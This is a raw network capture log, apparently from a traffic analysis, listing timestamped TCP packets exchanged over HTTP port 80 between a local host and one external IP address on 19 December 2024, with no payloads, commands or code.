Dec 19, 2024 08:21:27.742166042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.742280006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.742328882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.742825031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.742964029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.743155956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.743558884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.743680954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.744374037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.744422913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.744488955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.744535923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.745125055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.745217085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.745909929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.745959044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.745979071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.746016026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.783833027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.784029961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.784157038 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.784215927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.784298897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.784398079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.784864902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.785260916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.785988092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.786037922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.786067963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.786106110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.786657095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.786701918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.786832094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.787180901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.787201881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.787250042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.787609100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.787687063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.788156033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.788212061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.788254976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.788290024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.788832903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.788949013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.789685011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.789737940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.789802074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.789838076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.790637016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.790735960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.791165113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.791420937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.791433096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.791471004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.791861057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.791925907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.791966915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.792613983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.792732954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.793411016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.793473005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.793482065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.793509007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.794296026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.794364929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.795120001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.795170069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.795250893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.795285940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.796047926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.796133995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.796705008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.796747923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.796828032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.796863079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.797327042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.797440052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.798158884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.798204899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.798232079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.798265934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.799051046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.799263000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.799844980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.799904108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.799925089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.799967051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.800635099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.800647974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.800682068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.801332951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.801449060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.801495075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.802086115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.802223921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.802913904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.802954912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.803045988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.803080082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.803663015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.803756952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.803796053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.804451942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.804589033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.805248022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.805291891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.805366039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.805404902 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.806066990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.806144953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.806955099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.807001114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.807060003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.807096958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.807637930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.807718992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.807760954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.808356047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.857027054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.876137972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.876224041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.876328945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.876478910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.876575947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.877259016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.877271891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.877325058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.877901077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.878035069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.885776997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.885823011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.885902882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.886209965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.886221886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.886250973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.886302948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.886339903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.887021065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.887079954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.887154102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.887732983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.919524908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.919564962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.919737101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.919816971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.919897079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.919929981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.920620918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.920665026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.920726061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.921443939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.921478987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.921535015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.922337055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.922359943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.922482014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.923103094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.923147917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.923163891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.923741102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.923831940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.923876047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.933808088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.933877945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.933947086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.934123993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.934165955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.934178114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.934705019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.934828043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.934869051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.935482025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.935523033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.935580015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.936374903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.936469078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.936490059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.937149048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.937186003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.937251091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.937942028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.937988043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.938028097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.974862099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.974989891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.975044966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.975204945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.975301027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.975347042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.976011038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.976064920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.976114035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.976810932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.976882935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.976927042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.977591038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.977727890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.977766991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.978399992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.978486061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.978523016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.979186058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.979224920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.979284048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.979983091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.980030060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.980062962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.980763912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.980845928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.980894089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.981525898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.981614113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.981656075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.982347965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.982384920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.982450962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.983186007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.983222008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.983230114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.983891010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.983944893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.983983994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.984827042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.984864950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.984880924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.985745907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.985759020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.985806942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.986310959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.986342907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.986372948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.987066984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.987163067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.987190962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.987854004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.987896919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.987957001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.988656998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.988697052 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.988765955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.989520073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.989562035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.989567995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.990236044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.990278006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.990349054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.991029978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.991066933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.991117954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.991854906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.991895914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.991925001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.992645025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.992681980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.992697954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.993387938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.993508101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.993547916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.994220018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.994260073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.994385958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.995085955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.995134115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.995166063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.995764017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.995805979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.995867968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.996642113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.996682882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.996735096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.997431040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.997476101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.997476101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.998142004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.998244047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.998286009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.998929977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.998977900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:27.999039888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.999726057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.999883890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:27.999931097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.000473976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.000514030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.068053961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.068099976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.068147898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.068454981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.068593979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.068641901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.069333076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.069416046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.069658995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.069999933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.077850103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.077946901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.078001976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.078213930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.078259945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.078329086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.079000950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.079108953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.079158068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.079816103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.079871893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.111536026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.111670017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.111730099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.111939907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.111975908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.112684965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.112695932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.113018036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.113073111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.113126993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.113787889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.113845110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.113908052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.114587069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.114727974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.114773989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.115411997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.115473032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.115520000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.116188049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.116233110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.125947952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.126040936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.126116991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.126272917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.126436949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.126533031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.126575947 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.127235889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.127382994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.127429008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.128056049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.128093004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.128196001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.128802061 CET	80	49720	194.87.47.113	192.168.2.10
